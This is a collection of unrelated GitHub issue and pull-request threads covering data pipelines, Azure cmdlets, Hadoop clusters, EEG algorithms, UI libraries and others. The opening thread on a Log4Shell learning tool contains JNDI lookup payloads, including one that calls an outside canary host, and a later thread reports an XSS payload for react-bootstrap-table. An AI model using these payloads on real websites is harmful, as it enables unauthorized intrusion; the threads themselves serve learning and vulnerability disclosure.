Error: Could not find or load main class marshalsec.jndi.LDAPRefServer

You did download the Java version we said in the README right?

yes i downloaded and file path for both is same as mentioned in readme

yes i downloaded and file path for both is same as mentioned in readme

can you give link of the java version u downloaded

https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html#license-lightbox

this one I downloaded

I am unable to reproduce it on my Arch system, I haven't tested it on Kali though. I will test it on my VM shortly.

Yeah , & let me know if you find out a solution

I can confirm I get the same error, although it doesn't break the script for me. I did this in a fresh Kali VM.

I was not cloning the file thats why error occured now it's fixed

${jndi:ldap://x${hostName}.L4J.k2bsg3kxr3hf7vm8q7wsr8xsf.canarytokens.com/a}

Only ${jndi:ldap://localhost:1389/a} this payload we have to submit on any vulnerable endpoint of any website ??

Hi,
I'm sorry to interrupt this, but from your screenshots it really seems like you are trying to use this for malicious, or otherwise questionable reasons.
This tool was created to help people learn about this vulnerability, and we cannot aid or endorse the exploitation of any services that you don't directly own or have permissions to pentest on. Please do not use our tool for anything illegal, otherwise we might have to take it off github.

Hi,
I'm using this tool for learning purpose only.


M0 5/pipeline poc

Resolves #16 to create a new DataFlow pipeline from HAR json in GCS to summary tables in BigQuery
Port existing logic from legacy PHP

[x] construct status info
[x] parse pages
[x] generate pages summary table
[x] parse requests
[x] parse responses
[x] generate requests summary table

Implement pipeline features

[x] batch
[x] streaming

Validation

[x] successful batch job https://console.cloud.google.com/dataflow/jobs/us-west1/2022-03-13_23_28_58-7029567823971004188?project=httparchive
[x] successful streaming job https://console.cloud.google.com/dataflow/jobs/us-west1/2022-03-13_23_53_43-13862671684015744184?project=httparchive
[x] compare pages table
[x] compare responses table
[x] test streaming live (in parallel with existing pipeline)

Follow up notes

discrepancies found when comparing pages could be due to the way that MYSQL handles duplicates - we see more results than expected in the new pipeline, but the counts line up with those from the raw HAR outputs

OK I've fixed the linting errors with some more setup in the repo, and a very small number of edits to the code. Hope you don't mind, but was just easier to test this in this branch as some of these config files are a little annoying.
The static code analysis still has one error and 3 warnings (which I think are correct and should be looked at. Or they can be accepted if you strongly disagree.
Will give it a quick review now.

Thanks @giancarloaf! This is good to merge now. There are still some open comments that we can resolve in a follow-up PR:

[ ] Creating separate batch/streaming shell scripts https://github.com/HTTPArchive/data-pipeline/pull/34#discussion_r866181317
[ ] Refactoring pipeline parameters https://github.com/HTTPArchive/data-pipeline/pull/34#discussion_r866186813
[ ] Using Python libraries to extract file metadata (type, etc) and appending those to the schema for comparison https://github.com/HTTPArchive/data-pipeline/pull/34#discussion_r866194405


Get starting block from beefy light client

Info
This change is a draft PR for getting the latest block from the beefy light client to get some feedback.
Testing
e2e tests pass.

looks good

Tested it with the contract changed as suggested. The relayer caught up from the oldest block. After catch up I ran the e2e tests and they passed.


Is there an  Az. version of the preview module?

Is there an  Az. version of the azurerm.sql [4.5.0-preview]  preview module?

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: e22db66f-542f-bc95-c232-fe775754a015
Version Independent ID: c08d859c-0725-7944-ef32-8ee13ccbf8fa
Content: Failover groups - Azure SQL Database
Content Source: articles/sql-database/sql-database-auto-failover-group.md
Service: sql-database
Sub-service: high-availability
GitHub Login: @anosov1960
Microsoft Alias: sashan

@Ayanmullick Thank you very much for your interest in Azure cloud services. Please find all the information pertaining to the az sql PowerShell environment (Link).
Please let us know if you have additional questions.

@Mike-Ubezzi-MSFT, That doesn't have the managed instance failover group cmdlets; eg. 'New-AzSqlDatabaseInstanceFailoverGroup'.

@Ayanmullick Please consider the Azure CLI: az sql failover-group (link) and Managed Instance specific Azure CLI: az sql mi (link).

@Mike-Ubezzi-MSFT  , I built my runbook in PowerShell with the Az. modules. Is there a tentative ETA for the availability of the cmdlets in the Az module?

@Ayanmullick I am not seeing an equivalent cmdlet in Az.Sql that matches New-AzSqlDatabaseInstanceFailoverGroup. All Managed Instance cmdlets in Az.Sql include, AzSqlInstance in the title.
Can you post an ask in the Azure SQL User Voice (link) requesting that Az.Sql include this cmdlet - New-AzSqlDatabaseInstanceFailoverGroup.

We will now proceed to close this thread. If there are further questions regarding this matter, please comment and we will gladly continue the discussion.

@Mike-Ubezzi-MSFT ,  shouldn't there be parity in the cmdlets' lists on both modules by default?


Make classes in plugin examples public

The server requires classes loaded from plugin.yml (or paper-plugin.yml) to be public in order to discover and access their constructors.
The current code examples define the examples types as package private.
(specifically affected are the brig docs https://docs.papermc.io/paper/dev/commands)

Resolved by https://github.com/PaperMC/docs/pull/398


Setup test cluster: Cubox 4x4 + ODROID C2

Setup test cluster  with 1 Cubox 4x4 as master and 2 ODROID C2 as slaves.
Try run latest Hortonworks HDP on Ubuntu with just YARN installed, and just  Ambari for the monitoring (no Ganglia or Nagios), i.e. with the following Ambari blueprint
{
  "host_groups" : [
    {
      "name" : "masters",
      "components" : [
        {
          "name" : "RESOURCEMANAGER"
        },
        {
          "name" : "APP_TIMELINE_SERVER"
        }
      ],
      "cardinality" : "1"
    },
    {
      "name" : "slaves",
      "components" : [
        {
          "name" : "NODEMANAGER"
        }
      ],
      "cardinality" : "*"
    }
  ],
  "configurations" : [
    {
      "yarn-site" : {
        "yarn.nodemanager.log-dirs" : "/mnt/FIXME/hadoop/yarn/log",
        "yarn.nodemanager.local-dirs" : "/mnt/FIXME/hadoop/yarn/local",
        "yarn.nodemanager.remote-app-log-dir" : "/mnt/FIXME/app-logs",
        "yarn.timeline-service.leveldb-timeline-store.path" : "/mnt/FIXME/hadoop/yarn/timeline"
      }
    }
  ],
  "Blueprints" : {
    "blueprint_name" : "sscheck-SBC-ODROID-C2",
    "stack_name" : "HDP",
    "stack_version" : "2.5"
  }
}

See precedent for spark in http://forum.odroid.com/viewtopic.php?f=98&t=21369 and check

problems with big.LITTLE cores for the XU4
configuration for number of cores and trade off with memory: should be possible to extrapolate to YARN config and Flink config

other interesting precedent http://climbers.net/sbc/40-core-arm-cluster-nanopc-t3/

According to https://ci.apache.org/projects/flink/flink-docs-release-1.1/setup/yarn_setup.html HDFS is required for running flink on YARN, because flink uses HDFS to distribute the über jar, just like mapreduce. Possible options

run a single node HDFS cluster on the cubox. According to https://ci.apache.org/projects/flink/flink-docs-release-1.1/concepts/concepts.html#distributed-execution and https://ci.apache.org/projects/flink/flink-docs-release-1.1/setup/yarn_setup.html#background--internals, as a resource manager the cubox will not be doing so much work, as the job manager (similar to spark driver) is running in a container (similar to yarn cluster mode in spark, there is no equivalent to yarn client mode in flink). This kills HDFS data locality but makes sense for a flink streaming cluster where that locality is lost
run a multi node HDFS cluster in the same switcher. This might be part of the same HDP installation, just another host group for the data nodes with the cubox as name node. Again makes sense for flink streaming
collocate the data nodes with the node managers, it's the best for batch but that is putting more load on the odroids

The first option sounds the best for a first approach. The first cluster should ideally have 1 cubox and 3 odroids to have one master and 2 slave nodes, but with 2 odroids we might have 4 containers of 800 MB approx

For Spark, if we have a separate head node, then the driver would run either in the head node (yarn client mode) or a container in a o-droid slave (yarn cluster  mode). In any way the cubox would not be executing computations, so a proof of concept with the cubox as ResourceManager (compute master), NodeManager (data master) and also the only DataNode (data slave), still makes sense. Future setups could include:

dedicated o-droid for HDFS  DataNodes: TBD if collocating NodeManagers and DataNodes in a single o-droid gives good performance. These data nodes should ideally have at least 64GB of eMMC storage, consider adding additional disk as SSD cards, node external USB disk would be quite slow

dedicated o-droid for a Kafka Cluster: consider using KOYA on Slider to run this on the same YARN cluster, with low retention using the eMMC storage in the o-droids sounds promising


Processing algorithm of Brain waves?

Common algorithm models of brain-computer interface technology include linear discriminant analysis, regularized LDA, support vector machine, Bayesian classifier, hidden Markov model, neural network and combinatorial classifier. Because of the particularity of electroencephalogram signal, brain-computer interface technology puts forward extremely high requirements to the algorithm. The particularity of EEG signal is as follows: First, EEG signal is weak and easy to be interfered by other human electrical signals; Secondly, EEG signals are easily affected by people's mental state. Thirdly, EEG signals are easily affected by the experiment itself. Finally, the EEG signal is greatly affected by the lead. Therefore, the current algorithm can not meet the requirements of brain-computer interface technology, and the current algorithm has no encryption mechanism, which can not ensure the security of human neural information.(脑机接口技术常见的算法模型有：线性判别分析、正则化 LDA、支持向量机 、贝叶斯分类器、隐马尔科夫模型、神经网路和组合分类器等。由于脑电信号的特殊性，脑机接口技术对算法提出了极高的要求。脑电信号的特殊性表现在：首先，脑电信号弱，并且容易受到其他人体电信号的干扰；其次，脑电信号容易受到人的精神状态的影响；再次，脑电信号容易受到实验本身的影响；最后，脑电信号受导联影响较大。因此，目前的算法也无法满足脑机接口技术的要求，此外，目前的算法也没有加密机制，无法确保人类神经信息的安全。)
1、Continuous homology algorithm is a common tool in topological data analysis. It is an algebraic approach that describes the characteristics of relationships between datasets by visualizing datasets as topological diagrams. These features can help us understand the organizational structure of data sets for better data analysis and mining.(持续同源性算法是拓扑数据分析中的一种常用工具。它是一种代数方法，通过将数据集可视化为拓扑图，用于描述数据集之间关系的特征。这些特征可以帮助我们理解数据集之间的组织结构，从而更好地进行数据分析和挖掘。)
2、Signal processing technology restricts the development of BCI system. The key of signal processing technology lies in feature extraction and classification recognition algorithm. The feature extraction algorithms that have been studied and applied mainly include time domain analysis. (Amplitude Analysis, Waveform Analysis, Coherent Average Analysis) Other analysis methods such as frequency domain analysis (Fourier transform, power spectrum), time-frequency analysis (continuous wavelet transform, empirical mode decomposition) and common space mode (CSP). At present, the main classification and recognition methods are linear discriminant analysis (LDA), support vector machine (SVM) and naive Bayes classifier. Although these algorithms are proved to be effective under certain conditions, the problems of BCI system, such as large individual difference, small training set and low signal-to-noise ratio, have not been solved fundamentally. These problems affect the classification accuracy, information transfer rate (ITR) and other important technical indexes of BCI system. Therefore, scholars need to continuously study and improve the robust and more complex electroencephalogram signal decoding algorithm to realize the high-level and accurate processing of EEG signals.(信号处理技术制约BCI系统的发展。信号处理技术的关键在于特征提取和分类识别算法。已经研究应用的特征提取算法主要包括时域分析（幅值分析、波形分析、相干平均分析）、频域分析（傅里叶变换、功率谱）、时频分析（连续小波变换、经验模态分解）及共空间模式（CSP）等其他分析方法。目前应用的主要分类识别方法主要有线性判别分析（LDA）、支持向量机（SVM）和朴素贝叶斯分类器等。尽管这些算法被证明在一定条件下是行之有效的，但BCI系统存在的被试者个体差异大、训练集小、信噪比低等问题仍未得到根本性解决，这些问题影响着BCI系统的分类准确率、信息传输率（ITR）等重要技术指标。这需要学者们不断研究和改进鲁棒性和复杂更高的脑电信号解码算法，以实现对脑电信号的高校、准确处理。)
3. Independent component analysis (ICA) method-data preprocessing, using some statistical information to separate the observed signal into a linear combination of multiple independent non-Gaussian source signals. In recent years, independent component analysis has been widely used in many fields, such as wireless communication, image enhancement, biomedical signal processing and so on.(独立成分分析（ICA）方法-数据预处理，利用一些统计信息将观测信号分离为多个独立的非高斯源信号的线性组合。近些年来，独立成分分析方法在诸多领域都有着广泛的应用，例如无线通讯、图像增强、生物医学信号处理等。)
4. feature extraction: Common Spatial Pattern (CSP) algorithm: The spatial filtering algorithm can extract spatial information. After data is projected, the variance of one type of data is maximized and the variance of another type of data is minimized. Finally, the features representing the two types of data are extracted and combined as the final features. The mechanism of CSP algorithm is based on the event-related de-synchronization/event-related synchronization phenomenon in the brain's motion imagination process, so the effectiveness of CSP algorithm is proved from the side.(特征提取：公共空间模式（CSP）算法-空间滤波算法能够提取空间信息，通过寻找一个隐藏投影空间使得数据投影之后极大化一类数据的方差同时极小化另一类数据的方差，最终分别提取表征两类数据的特征并拼接一起作为最终特征。CSP 算法的机理是基于大脑运动想象过程的事件相关去同步/事件相关同步现象，因此从侧面证明了 CSP 算法的有效性。)
5. Support Vector Machine (SVM)(支持向量机)。

相关文献名称：

《我国首个脑机接口综合性开源软件平台正式发布》


AnimationListener in RippleDrawable/RippleDrawableCompat

Hello,
i have a recyclerview with cardview. i have setup a rippledrawable for the cardview in my viewholder like in your example.
furthermore i have set an onclicklistener on the viewholder.
maybe there is a possibilty to implement an animationlistener that listens for the ending of the rippleeffect animation? i want to have the clickevent happen when the animation finishes because the rippleeffect then looks more fluid.

Hello there,
It's not possible, because Lollipop's version doesn't have any listener I could use. Carbon reuses Lollipop's classes on compatible devices. I could implement a listener for compat version only, but it would complicate the code. If you wish, you can add a fixed delay in your code.
The second reason is that delaying actions leads to race conditions between a user and a device. The user may tap a buton multiple times before it triggers an action due to the ripple delay. That's why delaying actions is not recommended.
Android M changed the ripple touch feedback so the animation starts after lifting the finger. This may help as the animation won't start at all under heavy cpu load.


[Change Request] table 15 "G/L Account" - field(9; "Income/Balance"; Option)

Describe the request
Hello, can you change the Option field "Income/Balance" in table 15 "G/L Account" from Option to an Enum?
        field(9; "Income/Balance"; Enum "G/L Acc Income/Balance")
        {
            Caption = 'Income/Balance/Finance';

            trigger OnValidate()
            var
                CostType: Record "Cost Type";
            begin
                if ("Income/Balance" = "Income/Balance"::"Balance Sheet") and ("Cost Type No." <> '') then begin
                    if CostType.Get("No.") then begin
                        CostType."G/L Account Range" := '';
                        CostType.Modify();
                    end;
                    "Cost Type No." := '';
                end;
            end;
        }

enum 50000 "G/L Acc Income/Balance"
{
    AssignmentCompatibility = true;
    Extensible = true;

    value(0; "Income Statement") { Caption = 'GuV'; }
    value(1; "Balance Sheet") { Caption = 'Bilanz'; }
}

Additional context
We have to extend the Enum for our posting routine. Unfortunately we can not use the Enum ???G/L Account Income/Balance??? because it has more OptionMemebers than the original Option field.
Internal work item: AB#547601

Thanks for reporting this. We agree, and we’ll publish a fix asap, either in an update for the current version or in the next major release. Please do not reply to this, as we do not monitor closed issues. If you have follow-up questions or requests, please create a new issue where you reference this one.
Build ID: 26125.


createEsbuildPlugin is not a function

Current behavior
When I try to run test after following the recommended TS guidelines(I literally copied the conf)
Desired behavior
Compile and run test
Test code to reproduce
import {defineConfig} from "cypress";
import createBundler from "@bahmutov/cypress-esbuild-preprocessor";
import createEsbuildPlugin from "@badeball/cypress-cucumber-preprocessor/esbuild";
import pkg from '@badeball/cypress-cucumber-preprocessor';

const {addCucumberPreprocessorPlugin} = pkg;

async function setupNodeEvents(
    on: Cypress.PluginEvents,
    config: Cypress.PluginConfigOptions
): Promise<Cypress.PluginConfigOptions> {
    // This is required for the preprocessor to be able to generate JSON reports after each run, and more,
    addCucumberPreprocessorPlugin(on, config);

    on(
        "file:preprocessor",
        createBundler({
            plugins: [createEsbuildPlugin(config)],
        })
    );

    // Make sure to return the config object as it might have been modified by the plugin.
    return config;
}

export default defineConfig({
    e2e: {
        specPattern: "**/*.feature",
        supportFile: false,
        setupNodeEvents,
    },
});

Versions

Cypress version: 10.11.0
Preprocessor version: 13.0.3
Node version: 16.15.1

Checklist

[x] I've read the FAQ.
[x] I've read Instructions for logging issues.
[x] I'm not using<EMAIL_ADDRESS>(package name has changed and it is no longer the most recent version, see #689).

I guessing this applies to you as well: https://github.com/badeball/cypress-cucumber-preprocessor/blob/master/docs/faq.md#i-get-cypress_esbuild_preprocessor_1createbundler-is-not-a-function

Fixed it thank you.


Offset value negative / Loop animation Count

Loop count is not working and negative X and Y offset is not working either.
I changed the functions in several ways but none of them had any effect.
My server is TFS 1.4.2 version 10.98

truth doesn't work, could you fix it <3


Not able to change the host

Hello!
I'm trying to change the default host from localhost to livereload but it seems that rack-livereload is not seeing my changes. However! I'm totally able to modify the livereload port, just the host modification is broken.
Puma caught this error: Failed to open TCP connection to localhost:1234 (Cannot assign requested address - connect(2) for "localhost" port 1234) (Errno::EADDRNOTAVAIL)
/usr/local/lib/ruby/2.4.0/net/http.rb:906:in `rescue in block in connect'
/usr/local/lib/ruby/2.4.0/net/http.rb:903:in `block in connect'
/usr/local/lib/ruby/2.4.0/timeout.rb:93:in `block in timeout'
/usr/local/lib/ruby/2.4.0/timeout.rb:103:in `timeout'
/usr/local/lib/ruby/2.4.0/net/http.rb:902:in `connect'
/usr/local/lib/ruby/2.4.0/net/http.rb:887:in `do_start'
/usr/local/lib/ruby/2.4.0/net/http.rb:876:in `start'
/usr/local/lib/ruby/2.4.0/net/http.rb:1407:in `request'
/box/gems/rack-mini-profiler-0.10.5/lib/patches/net_patches.rb:7:in `block in request_with_mini_profiler'
/box/gems/rack-mini-profiler-0.10.5/lib/mini_profiler/profiling_methods.rb:31:in `step'
/box/gems/rack-mini-profiler-0.10.5/lib/patches/net_patches.rb:6:in `request_with_mini_profiler'
/usr/local/lib/ruby/2.4.0/net/http.rb:1387:in `send_request'
/box/gems/rack-livereload-0.3.16/lib/rack/livereload/body_processor.rb:50:in `use_vendored?'
/box/gems/rack-livereload-0.3.16/lib/rack/livereload/body_processor.rb:101:in `livereload_source'
(erb):14:in `block (2 levels) in process!'
/usr/local/lib/ruby/2.4.0/erb.rb:896:in `eval'
/usr/local/lib/ruby/2.4.0/erb.rb:896:in `result'
/box/gems/rack-livereload-0.3.16/lib/rack/livereload/body_processor.rb:78:in `block (2 levels) in process!'
/box/gems/activesupport-5.0.5/lib/active_support/core_ext/string/output_safety.rb:237:in `gsub!'
/box/gems/activesupport-5.0.5/lib/active_support/core_ext/string/output_safety.rb:237:in `gsub!'
/box/gems/rack-livereload-0.3.16/lib/rack/livereload/body_processor.rb:78:in `block in process!'
/box/gems/rack-livereload-0.3.16/lib/rack/livereload/body_processor.rb:76:in `each'
/box/gems/rack-livereload-0.3.16/lib/rack/livereload/body_processor.rb:76:in `process!'
/box/gems/rack-livereload-0.3.16/lib/rack/livereload.rb:28:in `_call'
/box/gems/rack-livereload-0.3.16/lib/rack/livereload.rb:14:in `call'
/box/gems/actionpack-5.0.5/lib/action_dispatch/middleware/static.rb:136:in `call'
/box/gems/rack-2.0.3/lib/rack/sendfile.rb:111:in `call'
/box/gems/rack-mini-profiler-0.10.5/lib/mini_profiler/profiler.rb:282:in `call'
/box/gems/railties-5.0.5/lib/rails/engine.rb:522:in `call'
/box/gems/puma-3.9.1/lib/puma/configuration.rb:224:in `call'
/box/gems/puma-3.9.1/lib/puma/server.rb:602:in `handle_request'
/box/gems/puma-3.9.1/lib/puma/server.rb:435:in `process_client'
/box/gems/puma-3.9.1/lib/puma/server.rb:299:in `block in run'
/box/gems/puma-3.9.1/lib/puma/thread_pool.rb:120:in `block in spawn_thread'

And my config:
# ...
  config.middleware.insert_after ActionDispatch::Static, Rack::LiveReload
  config.middleware.use(Rack::LiveReload,
    :min_delay        => 500,    # default 1000
    :max_delay        => 10_000, # default 60_000
    :live_reload_port => 1234,  # default 35729
    :host             => 'livereload',
    :ignore           => [ %r{dont/modify\.html$}  ]
  )
# ...

You can try to use foreman in the mean time.
The line below have not been ready for your host config
https://github.com/johnbintz/rack-livereload/blob/c0c47cc83b9e227ff3125fc4386311712f254f2e/lib/rack/livereload/body_processor.rb#L17

Hey, all. This project's been taken over by someone else and now lives at https://github.com/onesupercoder/rack-livereload. You should open a new issue/PR over there. Thanks!

You should open a new issue/PR over there.

Issues disabled…


Uncaught TypeError: Cannot read property 'tagName' of undefined

Hi there,
I get an error Uncaught TypeError: Cannot read property 'tagName' of undefined.
It seems to occur when multiple tooltips are created on dynamically changed contents and the user zooms/unzooms the browser, triggering the __geometry() method.
Steps to reproduce the problem.
<!doctype html>

    <link rel="stylesheet" type="text/css" href="dist/css/tooltipster.bundle.min.css" />

To spot the elements which will get a tooltip, aka the "origins", we will give them a 'tooltip' class. You may use another class name or even other means of selection, your choice. After that, we will set the title attribute to whatever we'd like our tooltip to say.

Open the page with the above contents.
Select words and create more than one tooltips.
Zoom the browser.

When I do this in Chrome, I get the error mentioned above. However, in Firefox, it says TypeError: $parent[0] is undefined. The both errors seem to be related to the code below.
		while ($parent[0].tagName.toLowerCase() != 'html') {

			if ($parent.css('position') == 'fixed') {
				geo.origin.fixedLineage = true;
				break;
			}

			$parent = $parent.parent();
		}

Hello,
Thank you for the report. It's actually normal that your tooltips fail. Every time there is a mouseup, you rewrite the HTML, which looses the reference that the tooltip has to its origin. What's not normal is that it threw an error instead of just hiding the tooltip. That's because you fooled our check with an element that had the same id as the origin but was actually a different element. I've fixed it in 4.0.4. Thank you.


Support annotating gallery images.

Twitter's gallery view inserts a new top-level div to show the selected image. This adds support for annotating those.
Example: https://twitter.com/joseinextdoor/status/987891789934755840
With the current version of this extension it only shows the annotation in the multi-image view and not when the images are selected (making most of the annotations unreadable).

this sounds awesome thanks! bout to go to sleep but will be back to take a
proper look and get it merged and shipped as soon as i can. best case
scenario: tomorrow sometime. worst case scenario: the weekend.
thanks again 😊
On Wed, 25 Apr 2018 at 23:06, David Reid<EMAIL_ADDRESS>wrote:

Twitter's gallery view inserts a new top-level div to show the selected
image. This adds support for annotating those.
Example: https://twitter.com/joseinextdoor/status/987891789934755840
With the current version of this extension it only shows the annotation in
the multi-image view and not when the images are selected (making most of
the annotations unreadable).
You can view, comment on, or merge this pull request online at:
https://github.com/hnrysmth/missingno/pull/1
Commit Summary

Support Gallery Media in the CSS.
Annotate GalleryMedia images.
Fix gallery selector and concat call

File Changes

M missingno.css
https://github.com/hnrysmth/missingno/pull/1/files#diff-0 (9)
M missingno.js
https://github.com/hnrysmth/missingno/pull/1/files#diff-1 (7)

Patch Links:

https://github.com/hnrysmth/missingno/pull/1.patch
https://github.com/hnrysmth/missingno/pull/1.diff

—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/hnrysmth/missingno/pull/1, or mute the thread
https://github.com/notifications/unsubscribe-auth/AAijjzmkxVfTqfiQ_MVuPGBG54ASozeOks5tsOVWgaJpZM4TkJ-J
.

nooooooooo how did i forget about this pr for a whole month sorry 💔
im gonna put a reminder in my calendar to try and do this this weekend


TortoiseBeason should wait until all spawned goroutines will terminate

Description

It waits only for two top-level goroutines to exit, but many are spawned in the process. They are writing logs that currently just may confuse during debugging, but https://github.com/spacemeshos/go-spacemesh/pull/2603 will require all loggers to exit once test is finished.
Affected code
TortoiseBeason code

closed with https://github.com/spacemeshos/go-spacemesh/pull/2625


Wemo MAC differences on migrated devices

The MAC printed on the device and advertised in device metadata is used for the access point that the wemo device sets up for onboarding, and the MAC that is used once on the homes network is one more than what is advertised in metadata. The DTH got the actual MAC because its discovery pulls this info from the network; the driver queries the device for this info because it is not available on the socket that we have in drivers. This change will consider MAC addrs that are off by one as equal when discovering devices on the LAN.
An alternative approach would be to "calculate" the actual mac address from what is reported from the device, but there is no guarantee that all wemo devices will actually being doing this MAC change. Documentation is very limited.

I also added one improvement of persisting ip/port that makes the integration more stable across driver restarts, since I have seen wemos just stop responding to ssdp after awhile on the network even though they are still reachable.

So I did also encounter this in my migration test, where the migrated device didn't respond to ssdp, and therefore was non-functional in the driver since we never properly initialized the device the first time it was joined to the driver. Unplug and replug the device has always fixed this for me, when our endless retry does the next discovery attempt to initialize the device. I worry that migration may result in a lot of devices in this state until the user unplugs and replugs and waits 5 min (max retry interval). We could mitigate this potentially by extracting the ip and port from the DTH device data so the driver can at least try to communicate with the device until driver disco is successful.


Parameter name guideline wanted.

A plugin uses same parameter name, but those setting does not work the same.
For example.

Plugin
sequence_format
note

S3Output
.%03d.%02d
Code

LocalFile
%03d.%02d.
Code

We need parameter name guideline.
For example, those parameters expect work the same.

path_prefix
sequence_format
columns
file_ext
stop_on_invalid_record
delimiter
...

Reference : Twitter (Japanese)

I made a plan for discussion.
File options

name
type
description
default

path_prefix
string
Path prefix of input files

last_path
string
Name of last read file in previous operation

sequence_format
string
Format of the sequence number of the output files
%03d.%02d. TODO

file_ext
string
Path suffix of the output files (e.g. "csv")

Parser/Formatter options

name
type
description
default

delimiter
string
Delimiter string such as "," for CSV, "\t" for TSV

skip_header_lines
integer
Skip this number of lines first. Set 1 if the file has header line

stop_on_invalid_record
boolean
Stop bulk load transaction if a file includes invalid record (such as invalid timestamp)

newline
string
Newline character (CRLF, LF or CR)

null_string
string
If a value is this string, converts it to NULL. For example, set \N for CSV files created by mysqldump

charset
string
Character encoding (eg. ISO-8859-1, UTF-8)
UTF-8

columns
hash
See column options

Date/Time options

name
type
description
default

default_timezone
string
Time zone of timestamp columns if the value itself doesn’t include time zone description (eg. Asia/Tokyo)
UTC

default_date
string
Set date part if the format doesn’t include date part.
1970-01-01

default_timestamp_format
string
Timestamp format if type of this column is timestamp.
%Y-%m-%d %H:%M:%S.%6N %z(formatter),%Y-%m-%d %H:%M:%S.%N %z(Parser)

Column options

name
type
description
default

name
string
Name of the column

type
string
Type of the column

format
string
Format of the timestamp if type is timestamp

date
string
Set date part if the format doesn’t include date part

timezone
string
Time zone of timestamp columns if the value itself doesn’t include time zone description (eg. Asia/Tokyo)

Authentication/Host options

name
type
description
default

user
string
login user name

password
string
login password

host
string
host name

port
integer
port number

SSL options

name
type
description
default

ssl
boolean
enable SSL

ssl_verify
boolean
verify the certification provided by the server

ssl_verify_hostname
boolean
verify server's hostname matches with provided certificate

ssl_trusted_ca_cert_file
string
if the server certification is not signed by a certificate authority, set path to the X.508 certification file (pem file) of a private CA

ssl_trusted_ca_cert_data
string
similar to ssl_trusted_ca_cert_file but embed the contents of the PEM file as a string value instead of path to a local file

Retry options

name
type
description
default

retry_limit
integer
max retry count for the operations

retry_wait
integer
initial retry wait time in milliseconds

max_retry_wait
integer
upper limit of retry wait, which will be doubled at every retry (ex. 1800000 (30 minutes))

What default value is best for sequence_format?

Plugin
sequence_format
note

LocalFile
%03d.%02d.
Code

hdfs
%03d.%02d.
Manual

S3Output
.%03d.%02d
Code

ftp
.%03d.%02d
Manual

gcs
.%03d.%02d
Code

blog_strage
%03d.%02d
Code

bigquery
.%d.%d
Manual

Using .%03d.%02d seems like the way to go. I fix LocalFileInputPlugin. I should say sorry about the confusing changes.


Add copy-maps command to extract maps from battlecode jar

It would also be possible to dynamically read maps from the battlecode jar whenever needed, but this is significantly simpler.

@kazimuth awesome, thanks!


Which version of melonloader?

Hello, this seems like a great tool id love to use. Is there a specific version of melonloader to use? I've tried installing it but no luck, the game wont open.
Also is there an exe for melonloader once its installed that I have to launch the game through or do I just load genshin through its launcher like normal?

Sadly I have no access to a working version of melonloader that works for 2.7.

Aw dang, well thanks for the fast reply :)


Azure DevOps Issue where ALL tasks are not showing and one/two are unparented.

Installed Version on MSFT Azure DevOps = 0.12.1
Repro - Tasks are showing up unparented inside the sprint board after invoking the 1-click and not attached to the PBI. Additionally, some tasks are missing altogether.
Please help, we love the extension.

Same issue. 1-Click Child-Links creates two tasks then DevOps refreshes the page. Other tasks are not created.

Me too

This issue was reported on May of 2023.
*When will it be resolved?
With this issue, we cannot use and cannot believe in the tool!


virtctl imageupload auto detects ingress/route

What this PR does / why we need it:
Instead of passing Upload Proxy URL as argument to virtctl imageupload, the tool will lookup for CDIConfig object and find the  Upload Proxy URL (if Ingress/Route exists).
If it doesn't exist, the program will exit with an error message.
Which issue(s) this PR fixes (optional, in fixes #<issue number>(, fixes #<issue_number>, ...) format, will close the issue(s) when PR gets merged):
Fixes #
Special notes for your reviewer:
Release note:

virtctl image upload now auto detects Ingress/Route details

@rmohr can you review?

Let's wait for CI.


Revert the Mbed Travis CI job to sudo-based VM to avoid sporadic OOMs

JerryScript-DCO-1.0-Signed-off-by: Akos Kiss<EMAIL_ADDRESS>

Gcc on CBI seems to nondeterministically die during the Mbed job, most probably because of OOM conditions (CBI has less memory than sudo-enabled VMs). To avoid the need of repeated manual restarts (which always solves the problem eventually, but it's cumbersome), let's switch back to sudo-enabled VM for Mbed. Sorry for the noise.


XSS when using dataFormat function

Hi
When using dataFormat function and not converting the value to react component
output is not sanitised. Therefore you can easily run XSS through it.
const Demo = props => {
  let data = [
    {key: "1", value: "test"},
    {key: "2", value: '/1337"><p title="<img src=x onerror=alert`openbugbounty`>">'}
  ]
  return (
      <BootstrapTable data={data}>
        <TableHeaderColumn dataField="key" isKey />
        <TableHeaderColumn dataField="value" dataFormat={v => v} />
      </BootstrapTable>
  );
};

Example: https://codesandbox.io/s/q7oj2v6xo9?fontsize=14

There is now a CVE pointing at this issue. Are there plans to fix this XSS exploit?
https://github.com/advisories/GHSA-2589-w6xf-983r


feat: adding auto-merge

@IuryGama I've tried automatically merging the PR, but got this error:

Any ideas as to what the problem can be?

@IuryGama I've tried automatically merging the PR, but got this error:

Any ideas as to what the problem can be?

Hey @yann510, I found this: https://github.community/t/github-action-resource-not-accessible-by-integration/16034
It seems " OAuth tokens and GitHub Apps are restricted from editing the main.workflow file. This means it isn’t possible to merge a Pull Request via an Action if it updates the main.workflow file I’m afraid"

Hey @yann510, I found this: https://github.community/t/github-action-resource-not-accessible-by-integration/16034
It seems " OAuth tokens and GitHub Apps are restricted from editing the main.workflow file. This means it isn’t possible to merge a Pull Request via an Action if it updates the main.workflow file I’m afraid"

Thanks for the reply.
If I understand correctly, PRs cannot be merged as soon as a file is modified in the .github folder?

Thanks for the reply.
If I understand correctly, PRs cannot be merged as soon as a file is modified in the .github folder?

That's right @yann510.
If others PRs fails, please let me know.

That's right @yann510.
If others PRs fails, please let me know.

@IuryGama Awesome, I will try it out on another PR very soon :clap:

@IuryGama Awesome, I will try it out on another PR very soon :clap:


[Device Support Request] ZigBee IR Blaster (Split A/C Controller) AC201

Hi Guys
I have two of these. They pair with ZHA. The key thing I want to make work is sending the IR commands and maybe 'learn' from IR remotes as the manufacturer claims it supports most remotes. I am happy to contact the manufacture for further information.
Very happy to test and be helpful :)
This device is already supported on Deconz but I got rid of that in favour of ZHA,
https://github.com/dresden-elektronik/deconz-rest-plugin/pull/3423
More information on the device https://www.owon-smart.com/zigbee-infrared-temperature-control-thermostat-ir-split-ac-controller-ac201-product/
Thanks in advance guys!
Device signature
{
    "node_descriptor": "NodeDescriptor(byte1=1, byte2=64, mac_capability_flags=142, manufacturer_code=4412, maximum_buffer_size=82, maximum_incoming_transfer_size=255, server_mask=0, maximum_outgoing_transfer_size=255, descriptor_capability_field=0)",
    "endpoints": {
        "1": {
            "profile_id": 260,
            "device_type": "0xc202",
